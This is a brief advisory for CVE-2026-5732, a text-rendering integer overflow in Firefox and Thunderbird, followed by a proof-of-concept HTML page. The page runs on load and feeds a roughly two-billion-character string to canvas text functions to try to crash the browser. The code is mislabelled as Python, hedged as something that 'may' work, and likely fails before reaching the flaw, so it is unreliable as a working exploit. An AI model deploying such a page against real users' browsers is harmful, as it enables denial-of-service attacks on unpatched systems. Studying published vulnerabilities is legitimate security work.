Incorrect boundary conditions, integer overflow in the Graphics: Text component. This vulnerability was fixed in Firefox 149.0.2, Firefox ESR 140.9.1, Thunderbird 149.0.2, and Thunderbird 140.9.1.
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5732: Integer Overflow in Graphics: Text
This PoC attempts to trigger the crash via Canvas text manipulation.
-->
<html>
<head><title>CVE-2026-5732 PoC</title></head>
<body>
<h3>Testing CVE-2026-5732 Integer Overflow</h3>
<canvas id="targetCanvas" width="800" height="600"></canvas>
<script>
function triggerOverflow() {
var canvas = document.getElementById('targetCanvas');
var ctx = canvas.getContext('2d');
// Attempting to trigger overflow with specific font settings
// and extremely long text string to hit boundary conditions
ctx.font = "40px 'Courier New'";
var maliciousText = "A".repeat(0x7FFFFFFF); // Very large string to trigger calculation issues
try {
// This may cause the integer overflow in the text component
ctx.measureText(maliciousText);
ctx.fillText(maliciousText, 10, 50);
console.log("Payload delivered");
} catch (e) {
console.log("Exception caught: " + e.message);
}
}
// Auto-trigger on load
window.onload = triggerOverflow;
</script>
</body>
</html>